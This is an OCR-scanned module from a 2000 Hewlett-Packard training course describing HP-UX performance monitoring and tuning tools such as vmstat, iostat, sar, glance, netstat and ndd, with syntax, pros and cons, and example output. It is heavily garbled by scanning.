7984 584 0 0 0 0 0 0 0 140 490 30
CPU
cpu procs
us sy id r b w
2 197 0 75 0
7972 549 0 0 0 0 0 0 0 203 462 53
1 198 0 76 0

# vmstat -f
3949 forks, 497929 pages, average= 126.09

vistat -s

swap ins

swap outs

pages swapped in

pages swapped out

1116471 total address trans. faults taken
346175 page ins

7976 page outs

200675 pages paged in

16824 pages paged out

213104 reclains fromfree list

216129 total page reclains

110 intransit bl ocking page faults
587961 zero fill pages created

303212 zero fill page faults

248573 executable fill pages created
67077 executable fill page faults

0 swap text pages found in free |ist
80233 inode text pages found in free |ist

OO OOH
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166 revol utions of the clock hand
106769 pages scanned for page out
13236 pages freed by the cl ock daenon
75633551 cpu context switches
1612387244 device interrupts

1137948 traps

247228805 systemcalls
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10-7. TEXT PAGE: i ost at

Description

The i ost at command reports I/O statistics for each active disk on the system.

Tool Source:
Documentation:
Interval:

Data Source:
Type of Data:
Metrics:
Logging:

Overhead:

Unique Features:

Full Pathname:

Pros and Cons:

Syntax

Standard UNIX (BSD 4.x)

man page

>= 1 second

/dev/ kmem r egi sters/counters
Global

Physical Disk I/0

Standard output device

Varies, depending on the output interval
Terminal I/O

All releases: / usr/ bi n/ i ost at

+ statistics by physical disk drive

- limited statistics
- poorly documented and cryptic headings

iostat [-t] [interval [count]]

iostat [-t] [interval [count]]

-t Report term nal statistics as well as disk statistics
i nterval Di spl ay successive lines summaries at this frequency
count Repeat the summaries this nunber of tines

Key Metrics

The i ost at metrics include:

bps Kilobytes transferred per second
Sps Number of seeks per second
msps Milliseconds per average seek

With the advent of new disk technologies, such as data striping, where a single data transfer
is spread across several disks, the number of milliseconds per average seek becomes

http://education.hp.com 10-13

H3045S C.00
00 2000 Hewlett-Packard Company



Module 10
Performance Tools Overview

impossible to compute accurately. At best it is only an approximation, varying greatly based
on several dynamic system conditions. For this reason, and to maintain backward
compatibility, the milliseconds per average seek (msps) field is set to the value 1.0.

Examples

# iostat 5 2

devi ce bps sps neps
c0t 6d0 0 0.0 1.0
c0t 6d0 1100 34.6 1.0
# iostat -t 5
tty cpu
tin tout us ni sy id
0 0 2 0 1 98
devi ce bps sps nsps
c0t 6d0 0 0.0 1.0
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10-8. TEXT PAGE: ti ne and ti nmex

Description
Theti ne andt i mex commands reports the elapsed time, the time spent in system mode,

and the time spent in user mode, for a specific invocation of a process.

The t i nex command is an enhanced version of t i me, and can report additional statistics
related to resources used during the execution of the command.

Tool Source:

Documentation:

Interval:
Data Source:
Type of Data:
Metrics:
Logging:

Overhead:

Unique Feature:

Full Pathname:

Pros and Cons:

Standard UNIX (System V)

man page and kernel source
Process completion

/dev/ kmemregisters/counters
Process

CPU (user, system, elapsed)
Standard output device

Minimal

Timing how long a process executes

9.x release: / bi n/ ti mex
10.x release: / usr/ bi n/ ti nex

+ minimal overhead

- cannot be used on already running processes

Syntax

ti me comand
timex [-0] [-p[fhkmt]] [-s] comand

-0 Li st amount of 1/0O perfornmed by conmand
-s List activity (SAR data) present during execution of comrand

Example
timex find / 2>& >/dev/null | tee -a perf.data
real 39. 49
user 1. 47
sys 11. 24
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timex sh
cp /stand/vmunix /tnp

rm/tnp/vouni X
ncheck -s /dev/vg00/1lvol7 > /dev/null

exit
r eal 1:11. 67
user 0. 27
sys 4,21
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10-9. TEXT PAGE: upti ne and w

Description

The upt i me command shows how long a system has been up, who is logged in, and what

they are doing.

The wcommand is linked to uptime, and prints the same output as upt i e - w, displaying a
summary of the current activity on the system.

Tool Source:
Documentation:
Interval:

Data Source:
Type of Data:
Metrics:
Logging:
Overhead:
Unique Feature:

Full Pathname:

Pros and Cons:

Syntax

Standard UNIX (BSD 4.x)

man page

On demand

/ dev/ kmem r egi st ers/ counters and/ et c/ ut np
Global

Load averages, number of logged on users

Standard output device

Varies, depending on number of users logged in

Easiest way to see time since last reboot, load averages

9.x release: / usr/ bi n/ upti nme
10.x release: / usr/ bi n/ upti e

+ quick look at load average, how long systems been up
- limited statistics

uptime [-hlsuw] [user]

w [ -hl suw

[user]

-h Suppress the first line and the heading line

-1 Pri nt
-S Pri nt
-u Print
-W Print
Example
# uptime

long listing

short listing

only the utilization lines; do not show user information
what each user is doing; sane as w conmand.

11: 23am up 3 days, 22:22, 7 users, |oad average: 0.62, 0.37, 0.30

# uptine -w

11: 23am up 3 days, 22:22, 7 users, |oad average: 0.57, 0.37, 0.30
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User
r oot
r oot
r oot
r oot
r oot

H3045S C.00

tty login@ idle
consol e 9: 26am 94: 20
pts/0 9: 26am 5
pts/3 9: 26am 1:57
pts/ 4 10: 16am
pts/5 9: 43am

00 2000 Hewlett-Packard Company

JCPU
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PCPU what
/usr/sbin/getty consol e
/ shin/sh
/ sbin/sh
2 vi tools_notes
script
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10-10. SLIDE: HP-UX Real Time Monitoring Tools

— HP-UX Real Time Monitoring Tools

Monitoring Tools

UNIX HP Specific Data Collection
; Performance Tools
sar -
t Op gl ance ; UNIX ‘ HP Specific
vnst at gpm
i ost at
timex
upti me
Performance %\Iet\.?vork
Administration Tools Monitoring Tools
UNIX ’ HP Specific

UNIX

HP Specific

Student Notes

This slide shows the HP-specific, run-time performance monitoring tools available for HP-
UX. Currently, gl ance and gpmare available for HP-UX 10.x and 11.00 releases. Both
gl ance and gpmare optional, separately purchasable products.

The gl ance and gpmtools provide real-time monitoring capabilities specific to the HP-UX
operating system. Both tools provide access to performance data not available with standard
UNIX tools, and both tools use the m daenon (i.e. KI interface) to collect performance data,
yielding much more accurate performance results.
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10-11. TEXT PAGE: gl ance

Description

The gl ance tool is available for HP-UX releases 9.x, 10.x, and 11.x. This is the recommend
performance monitoring tool for an HP-UX system. This tool shows information which
cannot be seen with any of the standard UNIX monitoring tools, and the accuracy of the data
is considered more reliable since the source is the ni daenon, as opposed to the kernel
counters and registers.

Tool Source:

Documentation:

Interval:
Data Source:
Type of Data:
Metrics:
Logging:

Overhead:

Unique Feature:

Full Pathname:

Pros and Cons:

Syntax

glance [-]

HP

man page an on-line help

>= 2 seconds

m daenon

Global, Process, Application

CPU, Memory, Disk, Network, Kernel resources

Standard output device, screen shots to a file

Varies, depending on presentation interval and number of processes
Per process system calls

Global system calls

Sort processes by CPU usage or by amount of Disk I/O being performed

Displays files opened on a per process bases

9.x release: / usr/ perf/bi n/ gl ance
10.x release: / opt / per f/ bi n/ gl ance

+ extensive per-process information

+ extensive global metrics

+ more accurate than standard UNIX tools
- uses curses

- relatively slow startup

- not bundled with the OS

interval] [-p print_dest] [-f fil enane]

[-maxpages #] [-command] [-nice nicevalue] [-nosort]
[-1ock] [-adviser_only] [-syntax fil enang]

Key Metrics

The glance tool includes reports for the following areas:

H3045S C.00
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a Al CPUs Perfornance Sta
c CPU Utilization Stats
d Disk I/O Stats
g d obal Process Stats
h Hel p
i 1/ O by Filesystem
| Lan Stats
m Menory Stats
n NFS Stats
S Si ngl e process information
t CS Table Wilization
u Di sk Queue Length
% Logi cal Volume Mgr Sta
w Swap Stats
z Zero all Stats
? Hel p with options
<CR> Update screen with new data
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GLANCE PLUS REPORT
CPU by Processor
CPU Report

Di sk Report
Process Li st

I/ O by Filesystem

Net wor k by LAN

Menory Report

NFS Report

Process List, double-click process

System Tabl e Report

Di sk Report, double-click disk
I/0O by Logical Volune

Swap Det ai |
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10-12. SLIDE: Generic UNIX Data Collection Tools

— Generic UNIX Data Collection Tools

Data Collection

UNIX HP Specific

Real Time __Performance Tools
Monitoring Tools T
B UNIX HP Specific
UNIX HP Specific

sar gl ance
top gpm acct
vist at
iostat sar, sadc
ti mex
upti me

Performance M iet\.ivorl'; N

Administration Tools onitoring oo
UNIX ‘ HP Specific

Student Notes

This slide shows the standard UNIX data collection tools included with HP-UX. Data
collection tools gather performance data and other system-activity information, and store this

data to files on the system.

By default, not too many standard UNIX tools perform data collection. The two most
common tools are the acct (system accounting) suite of tools, and sar (via the sadc and

sal programs), the system activity reporter.
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10-13. TEXT PAGE: acct Programs

Description

The system accounting programs are designed to charge for time and resources used on the
system. Information such as connect time, pages printed, disk space used for file storage,
and commands executed (and the resources used by those commands) is collected and
stored by the acct commands. Generally not considered a performance tool, the accounting
commands can provide useful data for certain situations.

Tool Source:

Documentation:

Interval:
Data Source:
Type of Data:
Metrics:
Logging:

Overhead:

Unique Feature:

Full Pathname:

Pros and Cons:

Syntax

Standard UNIX (System V)

man pages

On demand

dev/ kmemregisters and other kernel routines
System resources used, on a per user bases
Connect time, Disk space used, others

Binary file / var / adm acct / pacct

Medium to large (up to 33%), depending on number of user and
amount of activity

Shows how much system resources are being consumed by each user
on the system.
Logs every command executed by every user on the system.

9xrelease:/ usr/ i b/acct/[acct_comrand]
10.x release: / usr/ shi n/ acct/[acct _command]

+ provides information to charge users for system use

+ extensive system utilization information kept

- extremely large overhead, especially on an active system.
- poor documentation

[ usr/ shin/acct/acctdi sk
/usr/sbin/acct/acctdusg [-u file] [-p file]
/usr/sbin/acct/accton [file]
/usr/sbin/acct/acctwtnp reason
/usr/sbin/acct/cl osewt np

[ usr/ sbi n/acct/ ut np2wt np
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System Accounting Notes

e System Accounting can be started:

Manually Run the /usr/ sbi n/ acct/startup
command.
Automatically at Boot Time Editthe /et c/rc. confi g. d/ acct file and

set the START_ACCT parameter equal to one
(for example, START_ACCT=1).

¢ Only processes which have terminated are reported.

* Accounting reports include:

— CPU time accounting

— Disk accounting

— Memory accounting

— Connect time accounting
— User command history

— Several more
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10-14. TEXT PAGE: sar

Description

The sar tool comes with additional programs which assist in performance data collection
and storage. The performance data is kept for one month before being overwritten with new
data. Since collected data is overwritten each month, monitoring a file's size is unnecessary.

The sadc program is a data collector which runs in the background, usually started by sar

or sal.

The sal program is a convenient shell script for collecting and storing “sar” data to a log file
under / var / adni sa. This script is typically run from root's cron file and collects (by
default), three system snapshots per hour.

The sa2 program is also a convenient shell script for converting collected sar data (binary
format) into readable ASCII report files. The report files are typically stored in
/ var/ adni sa. The sa2 script is also normally run from root's cron file.

Tool Source:

Documentation:

Interval:
Data Source:
Type of Data:
Metrics:
Logging:

Overhead:

Unique Feature:

Full Pathname:

Pros and Cons:

Syntax

Standard UNIX (System V)

man page

>= 1 second

/ dev/ kmemregisters

Global

CPU, Disk, Kernel resources

Binary file under / var / adni sa

Varies, depending on snapshot interval

Only standard UNIX performance data collector

9.x release: / usr/ bi n/ sar
10.x release: /usr / sbi n/ sar

+ familiarity

+ relatively low overhead

- no per process information

- accuracy not as good as MeasureWare

sar [-ubdycwaqvmAMS] [-o file] t [n]
sar [-ubdycwaqvmAMS] [-s tinme] [-e tine] [-i sec] [-f file]
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Configure Data Collection through cron Jobs

To set up sar data collection, add the following to root's cron file:

0o * * * 0,6 /usr/lbin/salsal

0 8-17 * * 1-5 Jusr/lbin/sa/sal 1200 3

0 18-7 * * 1-5 Jusr/l|bin/salsal

5 18 * * 1-5 Jusr/lbin/sa/sa2 -s 8:00 -e 18:01 -i 3600 -u
5 18 * * 1-5 Jusr/lbin/sa/sa2 -s 8:00 -e 18:01 -i 3600 -b
5 18 * * 1-5 Jusr/lbin/sa/sa2 -s 8:00 -e 18:01 -i 3600 -q

Create the / var / adm sa directory:

nkdir /var/adni sa

Some systems recommend adding the above entries to adnis cron file instead of root's. On
these systems, be sure to give write access to all users on the / var / adnt sa directory.

chrmod a+w /var/ adni sa
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10-15. SLIDE: HP-UX Data Collection Tools

= HP-UX Data Collection Tools
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Student Notes

This slide shows the HP-specific data collection performance tools that can be added to an
HP-UX system. The MeasureWare and PerfView tools are available for HPUX 10.x and 11.x
systems. These tools are optional products (separately purchasable).

These tools significantly enhance a customer's ability to track performance trends and review
historical performance data about a system. The standard UNIX tools collect little to no per-
process information, and have no alarming capabilities. With the MeasureWare and PerfView
tools, global and per-process information is collected. In addition, alarms can be set to
notify a user when a collected metric exceeds a defined threshold.
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10-16. SLIDE: Generic UNIX Performance Admin Tools

— Generic UNIX Performance Admin Tools
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Student Notes

This slide shows the standard UNIX administrative performance tools included with HP-UX.

These tools are used to tune and/or modify system resources to better improve the

performance of a system. These tools are typically used to change or tune a system's
component, as opposed to viewing or displaying characteristics about the component.

Only the root user is allowed to use these commands, as making these modifications affect

the performance for all users on the system.
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10-17. TEXT PAGE: i pcs and i pcrm

Description

The i pcs command displays information about active interprocess communication facilities.
With no options, i pcs displays information in short format about message queues, shared
memory segments, and semaphores that are currently active in the system.

The i pcr mcommand removes one or more specified message queue, semaphore set, or
shared memory identifiers.

Tool Source:

Documentation:

Interval:
Data Source:
Type of Data:
Metrics:
Logging:

Overhead:

Unique Feature:

Full Pathname:

Pros and Cons:

Syntax

Standard UNIX (System V)

man pages

On demand

/ dev/ krmem registers

Global, limited process

Semaphores, message queues, shared memory
Standard output device

Varies, depending on the IPC resource in use

Shows the size, owner, and last user of message queues and shared
memory segments.

9.x release:/ bi n/i pcs and/ bin/ipcrm
10.x release: / usr/ bin/i pcs and/ usr/bin/ipcrm

+ shows orphan IPC entries
+ shows size of message queues and shared memory segments
- process information limited to owner and last user

ipcrm[-mshmd] [-q neqgid] [-s senid]

ipcs [-ngs] [-abcopt] [-C corefile] [-N nanelist]

-m Displ ay
-q Display
-s Display
-b Display
-c Display
-0 Display
-p Display
-t Display
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Examples
# ipcs -s
| PC status from/dev/kmemas of Fri Oct 17 12:56:36 1997
T ID KEY MODE OMNNER GROUP
Semaphor es:
S 0 0x2f180002 --ra-ra-ra- r oot Sys
S 3 0x412000a9 --ra-ra-ra- r oot r oot
s 4 0x00446f6e --ra-r--r-- r oot r oot
S 6 0x01090522 --ra-r--r-- r oot r oot
S 7 0x013d8483 --ra-r--r-- r oot r oot
s 200 Ox4cl1c2f79 --ra-r--r-- daenon daenon

#ipcrm-s 7

# ipcs -s

| PC status from/dev/knmemas of Fri Oct 17 12:57:42 1997
T ID KEY MODE OMNNER GROUP
Semaphor es:

S 0 0x2f180002 --ra-ra-ra- r oot Sys
s 3 0x412000a9 --ra-ra-ra- r oot r oot
S 4 0x00446f6e --ra-r--r-- r oot r oot
S 6 0x01090522 --ra-r--r-- r oot r oot
S 200 Ox4clc2f79 --ra-r--r-- daenon daenon
6 0x01090522 --ra-r--r-- root root

s 200 0x4clc2f79 --ra-r--r-- daenon daenobn

H3045S C.00 10-30 http://feducation.hp.com
00 2000 Hewlett-Packard Company



Module 10
Performance Tools Overview

10-18. TEXT PAGE: ni ce and r eni ce

Description

The ni ce command executes command at a nondefault CPU scheduling priority. (The name
is derived from being "nice" to other system users by running large programs at lower
priority.)

The r eni ce command alters the priority of a running process.

Tool Source: Standard UNIX (System V)
Documentation: man pages

Interval: On demand

Data Source: Process table

Type of Data: Processes

Metrics: Priority

Logging: Standard output device
Overhead: Minimal

Unique Feature:

Full Pathname: 9.x release:
10.x release:

Pros and Cons: +
+

Syntax

nice [-n newoffset _fromdefault 20] conmand [ comrand_ar gs]

renice [-n newoffset fromcurrent_value] [-g|-p|]-u] id ...

An unsigned newoffset increases the system nice value for the command or process, causing
it to run at lower priority. A negative value requires superuser privileges, and assigns a lower
system nice value (higher priority) to command.

Examples
# ps -1
FS UD PID PPID CPR N ADDR  SZ WCHAN TTY TI ME COVD
1S 0 4728 4727 1 158 20 ff 6680 85 87cecO ttyp2 0: 00 sh
1R 0 4735 4728 6 179 20 1003d80 22 - ttyp2 0: 00 ps
# nice sh
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# ps -1
F S ubD PID PPID C PR N ADDR  SZ WCHAN TTY TI ME COVD
1S 0 4728 4727 0 158 20 ff6680 85 87cecO ttyp2 0: 00 sh
1R 0 4736 4728 0 178 20 feae80 121 - ttyp2 0: 00 sh

# exit

# nice -10 sh

# ps -1
FS ub PID PPID CPR N ADDR Sz WCHAN TTY TI ME COVD
1S 0 4728 4727 0 158 20 ff6680 85 87cecO ttyp2 0: 00 sh
1R 0 4743 4740 7 199 30 ff1280 22 - ttyp2 0: 00 ps
1S 0 4740 4728 10 158 30 fea380 121 87e0c0 ttyp2 0: 00 sh

# nice -5 ps -
F S ubD PID PPID C PR N ADDR  SZ WCHAN TTY TI ME COVMD
1S 0 4728 4727 0 158 20 ff6680 85 87cecO ttyp2 0: 00 sh
1R 0 4744 4740 10 210 35 1003e80 22 - ttyp2 0: 00 ps
1S 0 4740 4728 10 158 30 fea380 121  87e0c0 ttyp2 0: 00 sh

# nice -n 30 sh

# ps -1
F S ubD PID PPID C PR N ADDR  SZ WCHAN TTY TI ME COVD
1S 0 4728 4727 0 158 20 ff6680 85 87cecO ttyp2 0: 00 sh
1R 0 4745 4740 19 220 39 fb3300 121 - ttyp2 0: 00 sh
1S 0 4740 4728 6 158 30 fea380 121 87e0c0 ttyp2 0: 00 sh

# nice -n -30 sh

# ps -1
FS ub PID PPID CPR N ADDR  SZ WCHAN TTY TI ME COVD
1S 0 4728 4727 0 158 20 ff6680 85 87cecO ttyp2 0: 00 sh
1S 0 4749 4740 1 158 O 86200 121 87dc40 ttyp2 0: 00 sh
1S 0 4740 4728 7 158 30 fea380 121 87e0c0 ttyp2 0: 00 sh
1R 0 4752 4749 6 139 0 1003980 22 - ttyp2 0: 00 ps
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10-19. SLIDE: HP-UX Performance Admin Tools
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Student Notes

This slide shows the HP-specific administrative performance tools available on HP-UX
systems. Many of the tools shown on the slide come standard with the base OS. The only
tool which is an add-on product is PRM.

These HP-specific tools were developed to allow modifications and performance
enhancements to functionality unique to the HP-UX operating system.
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10-20. TEXT PAGE:rtprio

Description

The rt pri 0 command executes a specified command with a real-time priority, or changes
the real-time priority of currently executing process PID. Real-time priorities range from zero
(highest), to 127 (lowest).

Real-time processes are not subject to priority degradation and are considered of greater
importance than non-real-time processes.

NOTE:

Tool Source:

Documentation:

Interval:
Data Source:
Type of Data:
Metrics:
Logging:

Overhead:

Unique Feature:

Full Pathname:

Pros and Cons:

Syntax

Special care should be taken when using this command. It is possible
to lock out other processes (including system processes) when using
this command.

HP

man pages

On demand

Process table

Process

Process priority

None

Varies, depending on the activity of the process

Assign real time priority to a process

9.xrelease:/ usr/bin/rtprio
10.x release: / usr/bin/rtprio

+ Can significantly improve the performance of a program
- Can severely impact the performance of the system (if used
incorrectly)

rtprio priority command [argunents]
rtprio priority -pid

rtprio -t command [ argunents]

rtprio -t -pid

-t execute command with a timeshare (non-real-tine) priority, or
change the currently executing process pid froma possibly real-tine
priority to a timeshare priority.
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Examples
Execute file a.out at a real-time priority of 100:
rtprio 100 a. out
Set the currently running process pid 24217 to a real-tine priority of 40:

rtprio 40 -24217
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10-21. TEXT PAGE: serialize

Description

The seri al i ze command is used to force the target process to run serially with other
processes also marked by this command. Once a process has been marked by serialize, the
process stays marked until process completion, unless ser i al i ze is reissued.

Tool Source:

Documentation:

Interval:
Data Source:
Type of Data:
Metrics:
Logging:

Overhead:

Unique Feature:

Full Pathname:

Pros and Cons:

Syntax

HP

man pages

On demand

Process table

Process

Priority

Standard output device
Minimal

Decrease CPU and memory contention problems using standard
functionality.

9.x release: not available
10.x release: / usr/ bin/serialize

+ allows system to behave more efficiently when CPU and memory
resources are scarce.

- minimal documentation

- only helps when CPU and memory resources are scarce

serialize command [ command_ar gs]

serialize [-t]

[-p pid]

-t Indicates the process specified by pid should be returned to
ti meshare scheduling.

Examples

Use seri al i ze to force a database application to run serially with other processes marked

for serialization. Type:

serialize database_app
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Force a currently running process with a pid value of 215 to run serially with other processes
marked for serialization. Type:

serialize -p 215

Return a process previously marked for serialization to a normal timeshare scheduling. The
pid of the target process for this example is 174. Type:

serialize -t -p 174
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10-22. TEXT PAGE: PRM (Process Resource Manager)

Description

Process Resource Manager allows the administrator to guarantee that important processes
will receive the amount of memory and CPU time required to meet your performance

objectives.

PRM works in conjunction with the standard HP-UX scheduler to improve response times for

critical applications.

PRM provides state-of-the-art resource allocation that has long been missing in the UNIX

environment.

Tool Source:

Documentation:

Interval:
Data Source:
Type of Data:
Metrics:
Logging:

Overhead:

Unique Feature:

Full Pathname:

Pros and Cons:

H3045S C.00

HP

PRM man pages (pr ntonfi g)

On demand

Kernel process table

Processes priority

CPU time allocated to groups of processes
Standard output

PRM only applies to time-shared processes. Real-time processes are
not affected.

Allows the system administrator to control which groups of processes
receive the majority of the CPU's time.

9.x release: not applicable
10.x release: / usr/ sbi n/ prntonfig

+ Greater control of CPU distribution
- Optional product. Does not come standard with the OS.

10-38 http://education.hp.com

00 2000 Hewlett-Packard Company



Module 10
Performance Tools Overview

10-23. SLIDE: Generic UNIX Network Monitoring Tools

— Generic UNIX Network Monitoring Tools
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UNIX HP Specific
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Student Notes

This slide shows the standard UNIX networking performance tools included with HP-UX.
Networking performance tools monitor performance and errors on the network.

The standard UNIX networking tools primarily allow for monitoring performance. The HP-
specific tools introduce the ability to tune some networking parameters to better meet the
needs of a system's networking environment.

NOTE: Super user (or root) access is not needed to monitor networking status
by default.
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10-24. TEXT PAGE: net st at

Description

The net st at command displays general networking statistics. Information displayed

includes:

¢ Active sockets per protocol
¢ Network data structures (like route tables)
¢ LAN card configuration and traffic

Tool Source:
Documentation:
Interval:

Data Source:
Type of Data:
Metrics:
Logging:

Overhead:

Unique Features:

Full Pathname:

Pros and Cons:

Syntax

Standard UNIX (BSD 4.x)

man pages and manual

On demand

/ dev/ kmemregisters and LAN card

Global

Network, LAN I/O, Sockets

Standard output device

Varies, depending on network activity

Shows established and listening sockets.

Shows traffic going through LAN interface card.

Shows amount of memory allocated to networking

9.x release: / usr/ et c/ net st at
10.x release: / usr/ bi n/ net st at

+ provides lots of information on networking configuration
- provides lots of metrics; not all metrics are documented well

netstat [-aAn] [-f address-family] [system[core]]
netstat [-nmvhrsv] [-f address-family] [-p protocol] [system[core]]

netstat [-gin]

Examples

[-1 interface] [interval] [system[core]]

Display network connections

# netstat -n
Active Internet connections

Proto Recv-Q Send-Q Local Address For ei gn Address (state)

tcp 0 0 156.153.192.171.1128 156. 153.192. 171. 1129 ESTABLI SHED

tcp 0 0 156.153.192.171.1129 156. 153.192. 171. 1128 ESTABLI SHED

tcp 0 0 156.153.192.171. 947 156. 153. 192. 171. 1105 ESTABLI SHED
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Active UNI X domai n sockets

Address Type Recv- Q Send- Q I node Conn Refs Nextref Addr
c6f 300 dgram 0 0 844afc 0 0 0
[var/tnp/psb_front_socket

c87e00 dgram 0 0 844c4c 0 0 0
[var/tnp/ psb_back_socket

de4f 00 stream 0 0 0 f 75240 0 0

f 71200 stream 0 0 0 f 75280 0 0

/ var/ spool / socket s/ X11/0

Display network interface information:

# netstat -in

Name Mu Net wor k Addr ess I pkts lerrs pkts Cerrs Coll
nio* 0 none none 0 0 0 0 0
nil* 0 none none 0 0 0 0 0
o0 4608 127 127.0.0.1 6745 0 6745 0 0
lan0 1500 156.153.192.0  156.153.192.171 156 0 0 0 0
Display network interface traffic:
# netstat -1 lan0 5
(l'an0)-> input out put (Total)-> input out put
packets errs packets errs colls packets errs packets errs colls
188 0 0 0 0 6973 0 6785 0 0
2 0 0 0 0 2 0 0 0 0
Display protocol status:
# netstat -s
tcp:
2244 packets sent
1191 data packets (217208 bytes)
4 data packets (5840 bytes) retransmtted
692 ack-only packets (276 del ayed)
318 control packets
2277 packets received
1288 acks (for 195140 bytes)
144 duplicate acks
1360 packets (236775 bytes) received in-sequence
0 conpletely duplicate packets (0 bytes)
83 out-of -order packets (0 bytes)
0 discarded for bad header offset fields
0 di scarded because packet too short
134 connection requests
120 connection accepts
243 connections established (including accepts)
udp:
0 bad checksuns
164 socket overfl ows
0 data discards
i p:
460730 total packets received
0 bad header checksuns
O with ip version unsupported
2253 fragnents received
2670 packets not forwardable
0 redirects sent
i cnp:
1989 calls to generate an | CVP error nessage
Qut put hi st ogram
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echo reply: 727
destination unreachable: 1989
727 responses sent

ar p:
0 Bad packet |engths
0 Bad headers
probe:
0 Packets with m ssing sequence nunber
0 Menory allocations failed
i gnp:
0 nmessages received with bad checksum
10939700 nenbership queries received
10969833 nenbership queries received with incorrect field(s)
0 menbership reports received
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10-25. TEXT PAGE: nf sst at

Description

The nf sst at command displays NFS (Network File System) statistics. Categories of NFS

information include:

¢ Server statistics
¢ (Client statistics
* RPC statistics

¢ Performance Detail statistics

Tool Source:

Documentation:

Interval:
Data Source:
Type of Data:
Metrics:
Logging:

Overhead:

Unique Feature:

Full Pathname:

Pros and Cons:

Syntax

nfsstat [

Examples

Sun Microsystems

man pages

On demand

[ dev/ kmemregisters

Global

NFS, RPC

Standard output device

Varies, depending on NF'S activity

Shows RPC calls, retransmissions, and timeouts.
All releases: / usr / bi n/ nf sst at

+ reports both client and server activity
- limited documentation

-cmrsz ]

Display server/client NF'S and RPC statistics:

# nf sst at

Server rpc:

calls badcal | s nul |l recv badl en xdrcal | nf sdrun

330494 8417 0 0 330494

Server nfs:

calls badcal | s

322077

nul | getattr setattr r oot | ookup readl i nk
http://education.hp.com 10-43
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4 0% 37567 11% 0 0% 0 0% 66781 20% 0 0% 210183 65%
wr cache wite create renove rename i nk sym i nk
0 0% 0 0% 0 0% 0 0% 0 0% 0 0% 0 0%
nmkdi r rmdir readdir statfs

0 0% 0 0% 1576 0% 5966 1%

Cient rpc:

calls badcal I s retrans badxi d ti nmeout wai t newcr ed
839 0 0 0 10 0 0

Cient nfs:

calls badcal | s ncl get ncl sl eep

839 0 839 0

nul | getattr setattr r oot | ookup readl i nk read

0 0% 116 13% 0 0% 0 0% 143 17% 158 18% 406 48%
wr cache wite create renove rename i nk sym i nk
0 0% 0 0% 0 0% 0 0% 0 0% 0 0% 0 0%
nmkdi r rodir readdir statfs

0 0% 0 0% 4 0% 12 1%

Reset nf sst at counters to zero:

# nfsstat -z
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10-26. TEXT PAGE: pi ng

Description

The pi ng command sends an ICMP echo packet to a host and times how long it takes for the

echo packet to return. This command is often used to test connectivity to another system.
Specific details of the implementation include:

¢ An ICMP echo packet is sent once a second.
¢ Upon receipt of the echo packet, the round-trip time is displayed.
¢ The ability to display (via the - 0 option), the IP route taken.

Tool Source:

Documentation:

Interval:
Data Source:
Type of Data:
Metrics:
Logging:

Overhead:

Unique Feature:

Full Pathname:

Pros and Cons:

Syntax

Public Domain

man pages

On demand

NIC and ICMP packets

Network

Packet transmission

Standard output device

Minimal; one packet transmission per second

Shows round-trip times between systems
Shows route taken to and from the second system.

9.x release: / et ¢/ pi ng
10.x release: / usr/ sbi n/ pi ng

+ familiarity
+ understood by all UNIX-based (and TCP/IP-based) systems
- limited functionality

ping [-oprv] [-i address] [-t ttl] host [-n count]

Examples

Send two ICMP echo packets to host st ar 1:

# ping starl -n 2

PING starl: 64 byte packets

64 bytes from 156. 153.193. 1: icnp_seg=0. tine=1l. ns
64 bytes from 156. 153.193. 1: icnp_seg=1. tine=0. ns

----starl PING Statistics----
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2 packets transmitted, 2 packets received, 0% packet | oss
round-trip (nms) mn/avg/ max = 0/0/1

Send one ICMP packet and display the IP path taken:

# ping -o 156.152.16.10 -n 1
PI NG 156. 152. 16. 10: 64 byte packets
64 bytes from 156. 152. 16.10: icnp_seqg=0. tine=337. ns

----156.152.16.10 PING Statistics----

1 packets transmitted, 1 packets received, 0% packet |o0ss

round-trip (nms) mn/avg/ max = 337/ 337/ 337

1 packets sent via:
15. 63. 200. 2 -
15. 68.88. 4 -
156. 152.16. 1 -
156. 152. 16. 10 -

name | ookup failed
name | ookup failed
nanme | ookup fail ed
nane | ookup fail ed

,_|,_|,_|,_|
—_— e

15. 68. 88. 43 - [ nanme | ookup failed ]
15. 63. 200. 1 - [ nanme | ookup failed ]
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10-27. SLIDE: HP-UX Network Monitoring Tools

— HP-UX Network Monitoring Tools

I
R.eal .Time Data Collection
Monitoring Tools Performance Tools
UNIX HP Specific
sar UNIX HP Specific
top gl ance
vist at gpm acct Measur eVar e
i ost at sar,sadc | PerfView
timex
upti ne
Network
Performance Monitoring Tools
Administration Tools
UNKX | HPSpecic UNIX /" HP Specific ™
ipcs/iperm rtprio
nice/renice| serialize net st at i ndd
nmount PRM nf sst at net t une

pi ng . NetMetrics

Student Notes

This slide shows the HP-specific networking performance tools included with HP-UX. The
first two tools listed (ndd and net t une) come standard with the base OS. The NetMetrix

product is an additional product.

The HP-specific networking tools display additional networking information and allow tuning
of various networking parameters.
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10-28. TEXT PAGE: ndd and net t une

Description

The ndd (HP-UX 11.00) and net t une (HP-UX 10.20) commands allows modifications to be
made to network parameters which in previous releases were not modifiable. Parameters
which can be modified with ndd and net t une include:

*  Arp configuration

¢ Socket buffer sizes
¢ Enable or disable IP forwarding

CAUTION:

Tool Source:

Documentation:

Interval:
Data Source:
Type of Data:
Metrics:
Logging:

Overhead:

Unique Feature:

Full Pathname:

Pros and Cons:

Syntax

Use caution when making modifications with the tool. It is possible to
severly hurt network performance or disable the LAN card when using

this tool.
HP

man pages, ndd and net t une help options (- ?, -1, - h)
on demand

/ dev/ krmemregisters and NIC
Global

LAN tunable parameters
Standard output device
Minimal

Change values of network parameters which cannot otherwise be
changed

Change TCP send and receive buffer sizes without need for source
code

9.x release: not available
10.x release: / usr/ contri b/ bi n/ nettune
11.00 release: / usr/ bi n/ ndd

+ provides ability to modify networking behavior without needing
source code

+ provides access to tunable parameters normally not available

- can have a negative impact on performance if used the wrong way
- minimal documentation

nettune [-w] object [parm..]
nettune -h [-w] [object]
nettune -1 [-w] [-b size] [object [parm..]]
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nettune -s [-w] object [parm..] value...

ndd [-get] network-device paraneter
[-set] network-device paraneter val ue
[ -h ] [ supported | unsupported ]
[ -c]
-h (help) Print all information related to the object. This information

provi des hel pful hints about changi ng the value of an object.
-1 (list) Print information regardi ng changi ng the val ue of object.
-s (set) Set object to value. An object nmay require nore than one val ue.

-w Display warning nessages (for exanple, 'value truncated ). These are
normal |y di scarded when the conmand is successful.

Examples — net t une (10.x)

To get help information on all defined objects:

nettune -h

arp_kill conpl ete:

The nunber of seconds that an arp entry can be in the

conpl eted state between references. Wien a conpleted arp
entry is unreferenced for this period of tine, it is renoved
